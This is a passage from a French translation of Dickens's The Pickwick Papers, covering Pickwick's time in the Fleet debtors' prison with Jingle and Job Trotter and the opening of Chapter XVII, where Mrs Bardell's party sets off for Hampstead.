+contentant de jeter de temps en temps vers son père un regard
+d'intelligence. Enfin le vieux gentleman, qui avait paru enchanté au
+commencement, se mit à dormir vers le milieu.
+
+«Bravo! Bravo! très-joli! dit Sam lorsque M. Stiggins, ayant cessé de
+méditer, commença à mettre ses gants percés par le bout, et à les tirer
+si bien qu'ils laissaient passer à peu près la moitié de chaque doigt.
+
+--J'espère que cela vous fera du bien, Samuel, dit mistress Weller
+solennellement.
+
+--Je l'espère, maman, répondit Sam.
+
+--Je désirerais bien que cela en fît aussi à votre père.
+
+--Merci, ma chère, dit M. Weller. Comment vous trouvez-vous à présent,
+mon amour?
+
+--Impie!
+
+--Homme égaré, dit le révérend.
+
+--Ma digne créature, répondit M. Weller; si je ne trouve pas de
+meilleure lumière que votre petit clair de lune, il est probable que je
+continuerai à voyager dans la nuit, jusqu'à ce que je sois mis à pied
+tout à fait. Mais voyez-vous, madame Weller, si la pie, ma chère jument,
+demeure plus longtemps à l'écurie, elle ne restera pas tranquille quand
+nous retournerons, et elle pourrait bien envoyer le fauteuil dans
+quelque haie avec le berger dedans.»
+
+En entendant cette supposition, le révérend M. Stiggins, avec une
+consternation évidente, ramassa son chapeau et son parapluie, et proposa
+de partir sur-le-champ. Mme Weller y consentit, et Sam les ayant
+accompagnés jusqu'à la porte, prit un congé respectueux.
+
+«_Adiou_, Sam, dit le vieux cocher.
+
+--Qu'est-ce que c'est ça, _adiou_ demanda Sam.
+
+--Bonsoir, alors.
+
+--Ah! très-bien, j'y suis, répliqua Sam. Bonsoir, vieux réprouvé.
+
+--Sammy, reprit tout bas M. Weller, en regardant soigneusement autour de
+lui, mes devoirs à ton gouverneur, et dis-y que s'il fait des réflexions
+sur cette affaire ici, qu'il me le fasse savoir. Moi, et un ébéniste,
+j'ai fait un plan pour le tirer de là. Un piano, Sammy, un piano, dit M.
+Weller, en frappant de sa main la poitrine de son fils, et en se
+reculant d'un pas ou deux, pour mieux juger l'effet de sa communication.
+
+--Qu'est-ce que vous voulez dire?
+
+--Un piano forcé, Samivel, répliqua M. Weller d'une manière encore plus
+mystérieuse. Un qu'il peut louer, mais qui ne jouera pas.
+
+--Et à quoi servira-t-il, alors?
+
+--Il fera dire à mon ami, l'ébéniste, de le remporter; y es-tu?
+
+--Non.
+
+--Y n'y a pas de machine dedans; il y tiendra aisément avec son chapeau
+et ses souliers, et il respirera par les pieds, qui sont creux. Vous
+avez un passage tout prêt pour la Mérique... Le gouvernement des
+Méricains ne le livrera jamais, tant qu'il aura de l'argent à dépenser.
+Le gouverneur n'a qu'à rester là jusqu'à ce que Mme Bardell soit morte,
+ou que MM. Dodson et Fogg soient pendus, ce qu'est le plus probable des
+deux événements, et ensuite il revient et écrit un livre sur les
+Méricains, qui payera toutes ses dépenses, et plus, s'il les mécanise
+suffisamment.»
+
+M. Weller débita ce rapide sommaire de son complot, avec une grande
+véhémence de chuchotements, et ensuite, comme s'il avait peur
+d'affaiblir par d'autres discours l'effet de cette prodigieuse annonce,
+il fit le salut du cocher et s'enfuit.
+
+Sam avait à peine recouvré sa gravité ordinaire, grandement troublée par
+la communication secrète de son respectable parent, lorsque M. Pickwick
+l'accosta.
+
+«Sam, lui dit-il.
+
+--Monsieur?
+
+--Je vais faire le tour de la prison, et je désire que vous me suiviez.
+Sam, ajouta l'excellent homme en souriant, voilà un prisonnier de votre
+connaissance qui vient par là.
+
+--Lequel, monsieur? Le gentleman velu, où bien l'intéressant captif avec
+les bas bleus?
+
+--Ni l'un ni l'autre. C'est un de vos plus anciens amis.
+
+--De mes amis!
+
+--Je suis sûr que vous vous le rappelez très-bien; ou vous auriez moins
+de mémoire pour vos vieilles connaissances que je ne vous en croyais.
+Chut! pas un mot, pas une syllabe, Sam! Le voici.»
+
+Pendant ce colloque M. Jingle s'approchait. Il n'avait plus l'air aussi
+misérable, et portait des vêtements à demi usés, retirés, grâce à M.
+Pickwick, des griffes du prêteur sur gages. Ses cheveux avaient été
+coupés, il portait du linge blanc; mais il était encore très-pâle et
+très-maigre. Il se traînait lentement, en s'appuyant sur un bâton, et
+l'on voyait sans peine qu'il avait été rudement éprouvé par la maladie
+et par le besoin. Il ôta son chapeau lorsque M. Pickwick le salua, et
+parut fort troublé et tout honteux en apercevant Sam.
+
+Derrière lui, presque sur ses talons, venait M. Job Trotter, qui, du
+moins, ne comptait pas dans le catalogue de ses vices le manque
+d'attachement à son compagnon. Il était encore déguenillé et malpropre,
+mais son visage n'était plus tout à fait aussi creux que lors de sa
+première rencontre avec M. Pickwick. En ôtant son chapeau à notre
+bienveillant ami, il murmura quelques expressions entrecoupées de
+reconnaissance, ajoutant que sans M. Pickwick ils seraient morts de
+faim.
+
+«Bien, bien! dit M. Pickwick en l'interrompant avec impatience. Restez
+derrière avec Sam. Je veux vous parler, monsieur Jingle. Pouvez-vous
+marcher sans son bras?
+
+--Certainement, monsieur, à vos ordres. Pas trop vite, jambes
+vacillantes, tête ahurie, sorte de tremblement de terre.
+
+--Allons, donnez-moi votre bras, dit M. Pickwick.
+
+--Non, non, je ne veux pas, j'aime mieux marcher seul.
+
+--Folie! Appuyez-vous sur moi, je le veux.»
+
+Voyant que Jingle était confus, agité, et ne savait que faire, M.
+Pickwick coupa court à ses incertitudes, en tirant sous son bras celui
+de l'ex-comédien, et en l'emmenant avec lui, sans ajouter une autre
+parole.
+
+Durant tout ce temps la contenance de M. Samuel Weller exprimait
+l'étonnement le plus monstrueux, le plus stupéfiant qu'il soit possible
+d'imaginer. Après avoir promené ses yeux de Job à Jingle, et de Jingle à
+Job, dans un profond silence, il murmura entre ses dents: Pas possible!
+pas possible! et répéta ces mots une douzaine de fois; après quoi il
+parut complètement privé de la parole, et recommença à contempler tantôt
+l'un, tantôt l'autre, dans une muette perplexité.
+
+«Allons, Sam, dit M. Pickwick en regardant derrière lui.
+
+--Voilà, monsieur,» répliqua Sam en suivant machinalement son maître,
+mais sans ôter ses yeux de dessus M. Job Trotter, qui trottait à côté de
+lui.
+
+Pendant quelque temps Job tint ses regards fixés sur la terre, tandis
+que Sam, les yeux rivés sur lui, se heurtait contre les passants,
+tombait sur les petits enfants, s'accrochait aux marches et aux
+barrières sans paraître s'en apercevoir, lorsque Job, le regardant à la
+dérobée, lui dit:
+
+«Comment vous portez-vous, monsieur Weller?
+
+--C'est lui! s'écria Sam, et ayant établi avec certitude l'identité de
+Job, il frappa ses mains, sur ses cuisses, et exhala son émotion en une
+sorte de sifflement long et aigu.
+
+--Les choses ont bien changé pour moi, monsieur Weller.
+
+--Ça m'en a l'air, répondit Sam en examinant avec une évidente surprise
+les haillons de son compagnon. Mais c'est un changement en mal, comme
+dit le gentleman, quand il reçut de la mauvaise monnaie pour une bonne
+demi-couronne.
+
+--Vous avez bien raison, répliqua Job en secouant la tête; il n'y a pas
+de déception maintenant, monsieur Weller. Les larmes, ajouta-t-il avec
+une expression de malice momentanée, les larmes ne sont pas les seules
+preuves de l'infortune, ni les meilleures.
+
+--C'est vrai, répliqua Sam, d'un ton expressif.
+
+--Elles peuvent être commandées, monsieur Weller.
+
+--Je le sais. Il y a des personnes qui les ont toujours toutes prêtes,
+et qui lâchent la bonde quand elles veulent.
+
+--Oui, mais voici des choses qui ne sont pas aisément contrefaites,
+monsieur Weller; et pour y arriver, le procédé est long et pénible.»
+
+En parlant ainsi, Job montrait ses joues creuses, et, relevant la manche
+de son habit, découvrait son bras si frêle et si décharné, qu'il
+semblait pouvoir être brisé par le moindre choc.
+
+«Qu'est-ce que vous avez donc fait? s'écria Sam en reculant.
+
+--Rien.
+
+--Rien?
+
+--Il y a plusieurs semaines que je ne fais rien, et que je ne mange
+guère davantage.»
+
+Sam embrassa d'un coup d'oeil la figure maigre de M. Trotter et son
+costume misérable, puis, le saisissant par le bras, il commença à
+l'entraîner de vive force.
+
+«Où allez-vous, monsieur Weller? s'écria Job en se débattant vainement
+sous la main puissante de son ancien ennemi.
+
+--Venez, venez! répondit Sam sans daigner lui donner d'autre
+explication, jusqu'au moment où ils atteignirent la buvette, et où il
+demanda un pot de _porter_, qui fut promptement apporté.
+
+--Maintenant, dit Sam, buvez-moi ça jusqu'à la dernière goutte, et
+ensuite retournez le pot sens dessus dessous, pour me faire voir que
+vous avez pris la médecine tout entière.
+
+--Mais, mon cher monsieur Weller....
+
+--Avalez-moi ça,» reprit Sam d'un ton péremptoire.
+
+Ainsi admonesté, M. Trotter porta le pot à ses lèvres et en éleva le
+fond lentement, et d'une manière presque imperceptible. Une fois,
+seulement, il s'arrêta pour respirer longuement, mais sans retirer son
+visage du vase; et quelques moments après, lorsqu'il le tint à bras
+tendus, avec le fond en haut, rien ne tomba à terre, si ce n'est trois
+ou quatre flocons de mousse, qui se détachèrent lentement du bord.
+
+«Bien opéré, dit Sam. Comment vous trouvez-vous, après ça?
+
+--Mieux, monsieur, beaucoup mieux, je pense.
+
+--Nécessairement; c'est comme quand on met du gaz dans un ballon. Vous
+devenez plus gros à vue d'oeil. Qu'est-ce que vous dites d'un autre
+verre de la même tisane?
+
+--J'en ai suffisamment, monsieur; je vous remercie bien, mais j'en ai
+assez.
+
+--Eh bien! alors, qu'est-ce que vous dites, de quelque chose de plus
+solide?
+
+--Grâce à votre digne gouverneur, nous avons, à trois heures, un
+demi-gigot cuit au four, et garni de pommes de terre.
+
+--Quoi! c'est lui qui vous donne des provisions? s'écria Sam avec un
+accent emphatique.
+
+--Oui, monsieur. Et plus que cela, monsieur Weller, comme mon maître
+était fort malade, il a loué une chambre pour nous. Nous étions dans un
+chenil auparavant. Il est venu nous y voir la nuit, quand personne ne
+pouvait s'en douter. Monsieur Weller, continua Job, avec des larmes
+réelles cette fois, je serais capable de servir cet homme-là, jusqu'à ce
+que je tombe mort à ses pieds.
+
+--Dites donc, mon ami, pas de ça, s'il vous plaît!» s'écria Sam.
+
+Job Trotter le regarda d'un air étonné.
+
+«Je vous dis que je n'entends pas cela, mon garçon, poursuivit Sam, avec
+fermeté. Personne ne le servira, excepté moi; et puisque nous en sommes
+là-dessus, continua-t-il, en payant sa bière, je vas vous apprendre un
+autre secret. Je n'ai jamais entendu dire, ni lu dans aucun livre
+d'histoire, ni vu dans aucun tableau, un ange avec une culotte et des
+guêtres; non, pas même au spectacle, quoique ça ait pu se faire; mais
+voyez-vous, Job, malgré ça, je vous dis que c'est un véritable ange, pur
+sang; et montrez-moi l'homme qui osera me soutenir le contraire!»
+
+Ayant proféré cette provocation, qu'il confirma par de nombreux gestes
+et signes de tête, Sam empocha sa monnaie et se mit en quête de l'objet
+de son panégyrique.
+
+M. Pickwick était encore avec Jingle, et lui parlait vivement, sans
+jeter un coup d'oeil sur les groupes variés et curieux qui
+l'entouraient.
+
+«Bien, disait-il, lorsque Sam et son compagnon s'approchèrent: vous
+verrez comment vous irez, et en attendant, vous réfléchirez à cela.
+Quand vous vous trouverez assez fort, vous me le direz, et nous en
+causerons. Maintenant, retournez dans votre chambre, vous avez l'air
+fatigué, et vous n'êtes pas assez vigoureux pour demeurer longtemps
+dehors.»
+
+M. Alfred Jingle, à qui il ne restait plus une étincelle de son ancienne
+vivacité, ni même de la sombre gaieté qu'il avait feinte, le premier
+jour où M. Pickwick l'avait rencontré dans sa misère, salua fort bas,
+sans parler, et s'éloigna avec lenteur, après avoir fait signe à Job de
+ne pas le suivre immédiatement.
+
+«Sam, dit M. Pickwick en regardant autour de lui avec bonne humeur. Ne
+voilà-t-il pas une curieuse scène?
+
+--Tout à fait, monsieur, répondit Sam; et il ajouta, en se partant à
+lui-même: «Les miracles ne sont pas finis. Voilà-t-il pas ce Jingle qui
+se met aussi à faire jouer les pompes!»
+
+Dans la partie de la prison où se trouvait alors M. Pickwick, l'espace
+circonscrit par les murs, était assez étendu pour former un bon jeu de
+paume; un des côtés de la cour était fermé, cela va sans dire, par le
+mur même, et l'autre par cette partie de la prison qui avait vue sur
+Saint-Paul; ou, plutôt, qui _aurait eu_ vue sur cette cathédrale si on
+avait pu voir à travers la muraille. Là se montraient un grand nombre de
+débiteurs, en mouvement ou en repos dans toutes les attitudes possibles
+d'une inquiète fainéantise. La plupart attendaient le moment de
+comparaître devant la cour des insolvables; les autres étaient renvoyés
+en prison pour un certain temps, qu'ils s'efforçaient de passer de leur
+mieux. Quelques-uns avaient l'air misérable, d'autres ne manquaient
+point de recherche; le plus grand nombre étaient crasseux; le petit
+nombre moins malpropres. Mais tous en flânant, en se traînant, en
+baguenaudant, semblaient y mettre aussi peu d'intérêt, aussi peu
+d'animation, que les animaux qui vont et viennent derrière les barreaux
+d'une ménagerie.
+
+D'autres prisonniers passaient leur temps aux fenêtres qui donnaient sur
+les promenades; et, parmi ceux-ci, les uns conversaient bruyamment avec
+les individus de leur connaissance qui se trouvaient en bas; les autres
+jouaient à la balle avec quelques aventureux personnages, qui les
+_servaient_ du dehors; d'autres enfin regardaient les joueurs de paume,
+ou écoutaient les garçons qui criaient le jeu.
+
+Des femmes malpropres passaient et repassaient avec des savates pour se
+rendre à la cuisine, qui était dans un coin de la cour. Dans un autre
+coin, des enfants criaient, jouaient, et se battaient. Le fracas des
+quilles et les cris des joueurs se mêlaient perpétuellement à ces mille
+bruits divers; tout était mouvement et tumulte, excepté à quelques pas
+de là, dans un misérable petit hangar où gisait, pâle et immobile, le
+corps du prisonnier de la chancellerie, décédé la nuit précédente, et
+attendant la comédie d'une enquête. Le corps! c'est le terme légal pour
+exprimer cette masse turbulente de soins, d'anxiétés, d'affections,
+d'espérances, de douleurs, qui composent l'homme vivant. La loi
+possédait le corps du prisonnier; il était là, témoin effrayant des
+tendres soins de cette bonne mère.
+
+«Voulez-vous voir une boutique sifflante[21], monsieur? demanda Job à M.
+Pickwick.
+
+[Footnote 21: Étymologie: _s'humecter le sifflet_ (boire).]
+
+--Qu'est-ce que vous voulez dire? répondit celui-ci.
+
+--Une boutique chifflante, monsieur, fit observer Sam.
+
+--Qu'est-ce que c'est que cela, Sam? Une boutique d'oiseleur?
+
+--Du tout! monsieur, reprit Job; c'est où l'on vend des liqueurs. Il
+expliqua alors brièvement, qu'il était défendu d'introduire dans la
+prison des débiteurs des boissons spiritueuses; mais que cet article y
+étant singulièrement apprécié, quelques geôliers spéculateurs,
+déterminés par certaines considérations lucratives, s'étaient avisés de
+permettre à deux ou trois prisonniers de débiter, dans leurs chambres,
+le régal favori des ladies et des gentlemen confinés dans la prison. Cet
+usage, continua Job, a été introduit graduellement dans toutes les
+prisons pour dettes.
+
+--Et il est fort avantageux, interrompit Sam; car les guichetiers ont
+bien soin de faire saisir tous ceux qui font la fraude, et qui ne les
+payent point; et quand ça arrive, ils sont loués dans les journaux pour
+leur vigilance; de manière que ça fait d'une pierre deux coups; ça
+empêche les autres de faire le commerce, et ça relève leur réputation.
+
+--Voilà la chose, ajouta Job.
+
+--Mais, dit M. Pickwick, est-ce qu'on ne visite jamais ces chambres pour
+savoir si elles contiennent des spiritueux?
+
+--Si, certainement, monsieur; mais les guichetiers le savent d'avance;
+ils préviennent les siffleurs, et alors va-t'en voir s'ils viennent,
+Jean! L'inspecteur ne trouve rien.»
+
+Tandis que Sam achevait ces explications, Job frappait à une porte qui
+fut immédiatement ouverte par un gentleman mal peigné, puis
+soigneusement refermée au verrou, quand la compagnie fut entrée; après
+quoi le gentleman siffleur regarda les nouveaux venus en riant;
+là-dessus Job se mit aussi à rire, autant en fit Sam; et M. Pickwick,
+pensant qu'on en attendait sans doute autant de lui, prit un visage
+souriant, jusqu'à la fin de l'entrevue.
+
+Le gentleman mal peigné parut comprendre parfaitement cette silencieuse
+manière d'entrer en affaires. Il aveignit de dessous son lit une
+bouteille de grès plate, qui pouvait contenir environ une couple de
+pintes, et remplit de genièvre trois verres, que Job et Sam dépêchèrent
+habilement.
+
+«En voulez-vous encore, dit le gentleman siffleur.
+
+--Non, merci, dit Job Trotter.»
+
+M. Pickwick paya, la porte fut déverrouillée, et comme M. Roker passait
+en ce moment, le gentleman mal peigné lui fit un signe de tête amical.
+
+En sortant de là, M. Pickwick erra dans les escaliers et le long des
+galeries, puis il fit encore une fois le tour de la maison.
+
+À chaque pas, dans chaque personne, il lui semblait voir Mivins et
+Smangle, et le vicaire, et le boucher, car toute la population
+paraissait composée d'individus d'une seule espèce. C'était la même
+malpropreté, le même tumulte, le même remue-ménage, les mêmes symptômes
+caractéristiques dans tous les coins, dans les meilleurs comme dans les
+pires. Il y avait partout quelque chose de turbulent et d'inquiet, et
+l'on voyait toutes sortes de gens se rassembler et se séparer, comme on
+voit passer des ombres dans les rêves d'une nuit agitée.
+
+«J'en ai vu assez, dit M. Pickwick en se jetant sur une chaise dans sa
+petite chambre. Ma tête est fatiguée de ces scènes bruyantes, et mon
+coeur aussi. Dorénavant je serai prisonnier dans ma propre chambre.»
+
+M. Pickwick se tînt parole. Durant trois longs mois il resta enfermé
+tout le jour, ne sortant qu'à la nuit pour respirer l'air, quand la plus
+grande partie des autres prisonniers étaient dans leur lit, ou se
+régalaient dans leur chambre. Sa santé commençait évidemment à souffrir
+de la rigueur de cette réclusion, mais ni les fréquentes supplications
+de ses amis et de M. Perker, ni les avertissements encore plus fréquents
+de Sam, ne pouvaient le décider à changer un _iota_ à son inflexible
+résolution.
+
+
+
+
+CHAPITRE XVII.
+
+Où l'on rapporte un acte touchant de délicatesse accompli par MM. Dodson
+et Fogg, non sans une certaine dose de plaisanterie.
+
+
+Vers la fin du mois du juillet, un cabriolet de place dont le numéro
+n'est point spécifié, s'avançait d'un pas rapide vers _Goswell-Street_,
+trois personnes y étaient entassées, outre le conducteur, placé, comme à
+l'ordinaire, dans son petit siége de coté. Sur le tablier pendaient deux
+châles, appartenant, selon toute apparence, à deux dames à l'air
+revêche, assises sous ledit tablier. Enfin un gentleman, d'une tournure
+épaisse et soumise, était soigneusement comprimé entre les deux ladies,
+par l'une ou par l'autre desquelles il était immédiatement rabroué
+lorsqu'il s'aventurait à faire quelque légère observation. Ces trois
+personnages donnaient en même temps au cocher des instructions
+contradictoires, tendant toutes au même but, qui était d'arrêter à la
+porte de Mme Bardell; mais tandis que l'épais gentleman prétendait que
+cette porte était verte, les deux ladies revêches soutenaient qu'elle
+était jaune.
+
+«Cocher, disait le gentleman, arrêtez à la porte verte.
+
+--Quel être insupportable! s'écria l'une des dames. Cocher, arrêtez à la
+maison qui a la porte jaune.»
+
+Pour arrêter à la porte verte, le cocher avait retenu son cheval si
+brusquement qu'il l'avait presque fait reculer dans le cabriolet; mais à
+cette nouvelle indication, il le laissa retomber sur ses jambes de
+devant, en disant: «Arrangez ça entre vous. Moi ça m'est égal.»
+
+La dispute recommença alors avec une nouvelle violence; et comme le
+cheval était tourmenté par une mouche qui lui piquait le nez, le cocher
+employa humainement son loisir à lui donner des coups de fouet sur les
+oreilles, suivant le système médical des révulsions.
+
+«C'est la majorité qui l'emporte, dit à la fin l'une des dames revêches.
+Cocher, la porte jaune.» Mais lorsque le cabriolet fut arrivé d'une
+manière brillante devant la porte jaune, faisant réellement plus de
+bruit qu'un carrosse bourgeois (comme le fit remarquer l'une des
+ladies), et lorsque le cocher fut descendu pour assister les dames, la
+petite tête ronde de Master Bardell se fit voir à la fenêtre d'une
+maison qui avait une porte rouge, quelques numéros plus loin.
+
+«Être assommant! s'écria la dame ci-dessus mentionnée, en lançant à
+l'épais gentleman un regard capable de le réduire en poudre.
+
+--Mais ma chère, ce n'est pas ma faute.
+
+--Taisez-vous imbécile! La maison à la porte rouge, cocher. Oh! Si
+jamais pauvre femme a été z'unie avec une créature qui prend plaisir à
+la tourner en ridicule devant les étrangers, je puis me vanter d'être
+cette femme!
+
+--Vous devriez mourir de honte, Raddle, dit la seconde petite femme qui
+n'était autre que Mme Cluppins.
+
+--Dites-moi donc au moins ce que j'ai fait?
+
+--Taisez-vous, brute, de peur de me faire oublier de quelle école je
+suis, et que je ne m'abaisse à vous gifler!»
+
+Pendant ce petit dialogue matrimonial, le cocher conduisait
+ignominieusement le cheval par la bride, et s'arrêtait devant la porte
+rouge que Master Bardell avait déjà ouverte. Quelle manière plate et
+commune de se présenter devant la porte d'une amie! au lieu d'arriver
+avec tout le feu, toute la furie du noble coursier; au lieu de faire
+frapper à la porte par le cocher; au lieu d'ouvrir le tablier avec
+bruit, et juste au dernier moment, de peur de rester dans un courant
+d'air, au lieu de se faire tendre son châle comme si on avait un
+domestique à soi! Tout le zeste de la chose était perdu; c'était plus
+vulgaire que de venir à pied.
+
+«Eh ben! Tommy, dit Mme Cluppins; comment va c'te pauv' chère femme de
+mère?
+
+--Oh! elle va très-bien. Elle est dans le parloir de devant, toute
+prête. Je suis tout prêt aussi, moi. En parlant ainsi, Master Bardell
+fourrait ses mains dans ses poches et s'amusait à sauter de la première
+marche du perron sur le trottoir, et _vice versa_.
+
+--Y a-t-il encore quelqu'un qui vient avec nous? reprit Mme Cluppins, en
+arrangeant sa pèlerine.
+
+--Mme Sanders y va aussi; et moi aussi, j'y vas aussi, moi.
+
+--Peste soit du moutard, il ne pense qu'à lui seul. Dites donc, Tommy,
+mon petit homme?
+
+--Hein?
+
+--Qu'est-ce qui vient encore, mon amour? continua Mme Cluppins d'une
+manière insinuante.
+
+--Oh! Mme Rogers, elle vient aussi, elle, répondit Master Bardell, en
+ouvrant ses yeux de toutes ses forces.
+
+--Quoi! la dame qui a loué le logement?» s'écria Mme Cluppins.
+
+Master Bardell enfonça ses mains plus profondément dans ses poches, et
+baissa la tête trente-cinq fois, ni plus ni moins, pour exprimer qu'il
+s'agissait bien de la dame du logement.
+
+«Ah ça! continua Mme Cluppins; c'est une vraie noce.
+
+--Qu'est-ce que vous diriez donc, si vous saviez ce qu'il y a dans le
+buffet? ajouta Master Bardell.
+
+--Qu'est-ce qu'il y a donc, Tommy? reprit Mme Cluppins d'un air
+séduisant. Je suis sûre que vous allez me le dire.
+
+--Non, je ne veux pas; rétorqua l'intéressant héritier, en secouant sa
+tête un nombre indéterminé de fois, et en recommençant à sauter sur
+l'escalier.
+
+--Quel petit mâtin embêtant murmura Mme Cluppins. Allons, Tommy, contez
+la chose à votre chère Cluppy.
+
+--Maman ne veut pas. Si je ne dis rien, j'en aurai, moi, j'en aurai,
+moi!» Réjoui par cette agréable perspective, le jeune prodige s'appliqua
+avec une nouvelle vigueur à son manège enfantin.
+
+Cette espèce d'interrogatoire avait lieu tandis que M. Raddle, Mme
+Raddle et le cocher se disputaient sur le prix de la course.
+L'altercation s'étant terminée à l'avantage de l'automédon, Mme Raddle
+entra dans la maison, affreusement agitée.
+
+«Ciel qu'avez-vous donc, Mary-Ann? demanda Mme Cluppins.
+
+--Ah! Betsy! j'en suis encore toute tremblante! Raddle n'est pas un
+homme; il me laisse tout sur le dos.»
+
+Cette attaque contre la virilité de pauvre Raddle, était à peine loyale:
+car, dès le commencement de la dispute, il avait été mis de coté par son
+aimable épouse, et avait reçu l'ordre péremptoire de tenir son bec. Quoi
+qu'il en soit, il n'eut pas le loisir de se défendre, car il devenait
+évident que Mme Raddle allait s'évanouir. Dès qu'on s'en aperçut, de la
+fenêtre du parloir, Mme Bardell, mistress Sanders, la locataire et la
+servante de la locataire, sortirent précipitamment, et portèrent
+l'intéressante lady dans l'appartement, parlant toutes à la fois, et
+l'accablant d'expressions de condoléances et de pitié, comme si elle
+était la personne la plus malheureuse de la terre. Elle fut déposée sur
+un sofa du parloir, et la dame du premier étage ayant couru chercher un
+flacon de sel volatil, prit Mme Raddle par le cou, et le lui appliqua
+sous le nez, avec toute la sollicitude compatissante du beau sexe. Après
+de nombreux plongeons, après s'être bien débattue, la dame évanouie fut
+enfin obligée de déclarer qu'elle se trouvait mieux.
+
+«Ah! pauvre créature! s'écria Mme Rogers; je conçois ce qu'elle éprouve,
+hélas! je le sais trop bien.
+
+--Ah! pauvre créature! Et moi aussi je le sais, répéta Mme Sanders, et
+alors toutes les dames commencèrent à gémir à l'unisson, en disant
+qu'elles aussi savaient ce qu'il en était, et la plaignaient de tout
+leur coeur. La petite servante elle-même, haute de trois pieds, et âgée
+de treize ans, manifestait sa profonde sympathie.
+
+--Mais qu'est-ce qui est arrivé? demanda Mme Bardell.
+
+--Oui, ajouta Mme Rogers, qu'est-ce qui vous a mis dans cet état,
+madame?
+
+--J'ai été contrariée, répondit Mme Raddle d'un ton de reproche. Toutes
+les dames jetèrent aussitôt à M. Raddle des regards pleins
+d'indignation.
+
+--Le fait est, dit ce malheureux gentleman, en s'avançant, le fait est
+que, quand nous sommes descendus à la porte, nous avons eu une dispute
+avec le conducteur du cabriolet.» Un cri aigu de sa femme, à la mention
+de ce nom, rendit toute autre explication impossible.
+
+«Raddle, dit Mme Cluppins, vous feriez bien de nous laisser seules avec
+elle, pour la faire revenir. Elle ne se remettra jamais tant que vous
+serez là.»
+
+Toutes les dames étant de la même opinion, M. Raddle fut poussé hors de
+la chambre, et engagé à prendre l'air dans la cour. Il s'y promenait
+depuis environ un quart d'heure, lorsque Mme Bardell vint lui annoncer,
+avec un visage solennel, qu'il pouvait rentrer maintenant; mais qu'il
+devait faire bien attention à la manière dont il se conduirait avec sa
+femme. Mme Bardell savait bien qu'il n'avait pas de mauvaises
+intentions, mais Mary-Ann n'était pas forte, et s'il n'y prenait pas
+garde, il pourrait la perdre au moment où il s'y attendrait le moins; ce
+qui serait pour lui un terrible sujet de remords, dans la suite.
+
+M. Raddle entendit tout cela et bien d'autres choses encore, avec grande
+soumission, et entra enfin dans le parloir, doux comme un agneau.
+
+«Mon Dieu, madame Rogers, dit Mme Bardell, personne ne vous a été
+présenté!--M. Raddle, madame; Mme Cluppins, madame; Mme Raddle,
+madame....
+
+--Soeur de Mme Cluppins, fit observer Mme Sanders.
+
+--Ah! vraiment? dit mistress Rogers gracieusement; car elle était
+locataire, et c'est sa servante qui devait servir, et, en vertu de sa
+position, elle devait être plus gracieuse qu'intime. Ah! vraiment!»
+
+Mme Raddle sourit agréablement, M. Raddle salua, et Mme Cluppins déclara
+qu'elle se trouvait bien heureuse d'avoir l'honneur de faire la
+connaissance d'une personne dont elle avait entendu dire autant de
+choses avantageuses. Ce compliment bien tourné fut reçu par la lady du
+premier étage avec une condescendance parfaite.
+
+«Savez-vous, monsieur Raddle, dit Mme Bardell, que vous devez vous
+trouver fort honoré de ce que vous et Tommy, vous êtes les seuls
+gentlemen chargés d'escorter tant de dames au Jardin Espagnol à
+Hampstead. N'est-ce pas votre avis, madame Rogers?
+
+--Oh! certainement, madame, répondit Mme Rogers; après quoi les autres
+dames répétèrent: Oh certainement!
+
+--Sans aucun doute, madame, je sens cela, dit M. Raddle en se frottant
+les mains, et en laissant apercevoir une légère tendance à la gaieté. Et
+même, je disais à Mme Raddle, pendant que nous venions dans le
+cabriolet...»
+
+En entendant ce mot, qui réveillait tant de souvenirs pénibles, Mme
+Raddle appliqua de nouveau son mouchoir à ses yeux, et ne put s'empêcher
+de pousser un cri étouffé; Mme Bardell fronça le sourcil, en regardant
+M. Raddle, pour lui faire comprendre qu'il ferait beaucoup mieux de se
+taire; puis, avec un air de dignité, elle pria la domestique de Mme
+Rogers de mettre le vin sur la table.
+
+À ce signal, les trésors cachés du buffet furent apportés, en l'honneur
+de la locataire, et donnèrent à tous les assistants une satisfaction
+sans limite. C'étaient plusieurs plats d'oranges et de biscuits, une
+bouteille de vieux porto, à trente-quatre pence, puis une autre
+bouteille du célèbre xérès des Indes orientales, à quatorze pence. Mais
+alors, à la grande consternation de Mme Cluppins, Tommy parut sur le
+point de raconter comment il avait été interrogé par elle, concernant le
+contenu du buffet. Heureusement que, tout en parlant, il avala de
+travers un verre de porto, ce qui mit sa vie en danger pendant quelques
+minutes, et étouffa son récit dans son germe.
+
+Après ce petit incident, la compagnie alla chercher la voiture de
+Hampstead, et au bout de deux heures elle était arrivée, saine et sauve,
+au Jardin Espagnol. Mais là le premier acte du malheureux M. Raddle
+faillit occasionner une rechute de sa tendre épouse; car n'alla-t-il pas
+s'aviser de demander du thé pour sept, tandis que, comme toutes les
+dames le firent remarquer à la fois, rien n'était plus facile que de
+faire boire Tommy dans la tasse de quelqu'un, ou dans celle de tout le
+monde, quand le garçon aurait eu le dos tourné, ce qui aurait épargné du
+thé pour un, sans qu'il en fût moins bon pour cela?
+
+Quoi qu'il en soit, il n'y avait plus de ressources, et le thé arriva
+avec sept tasses, sept soucoupes, et du pain et du beurre sur la même
+échelle. Mme Bardell fut élevée au fauteuil à l'unanimité; Mme Rogers se
+plaça à sa droite, Mme Raddle à sa gauche, et la collation chemina avec
+beaucoup de gaieté et de succès.
+
+«Que la campagne est jolie, soupira mistress Rogers; je souhaiterais
+vraiment y vivre toujours!
+
+--Oh! vous ne l'aimeriez pas longtemps, madame, répliqua Mme Bardell
+avec précipitation; car il n'était pas à propos d'encourager de
+semblables idées chez sa locataire.
+
+--Je suis sûre, madame, reprit la petite Mme Cluppins, que vous ne vous
+en contenteriez pas quinze jours; vous êtes trop gaie et trop recherchée
+à la ville.
+
+--Cela se peut, madame.... cela se peut, murmura doucement la locataire
+du premier étage.
+
+--La campagne, fit observer M. Raddle, en retrouvant un peu d'assurance
+et de gaieté, la campagne est très-bonne pour les personnes seules, qui
+n'ont personne qui se soucisse d'elles, ou pour les personnes qui ont eu
+des peines de coeur, et toutes ces sortes de choses. La campagne pour
+une âme blessée, dit le poëte....»
+
+Or, de toutes les paroles que pouvait proférer le malheureux gentleman,
+celles-ci étaient indubitablement les plus mal trouvées. En effet, à
+cette citation, Mme Bardell ne manqua pas de fondre en larmes, et voulut
+quitter la table sur-le-champ; ce que voyant, son tendre fils se mit à
+pousser des cris affreux.
+
+«Est-il possible, s'écria Mme Raddle, en se tournant avec fureur vers la
+locataire du premier étage, est-il possible qu'une femme soit mariée à
+un être aussi insupportable, qui se fait un jeu de blesser sa
+sensibilité à chaque instant de la journée.
+
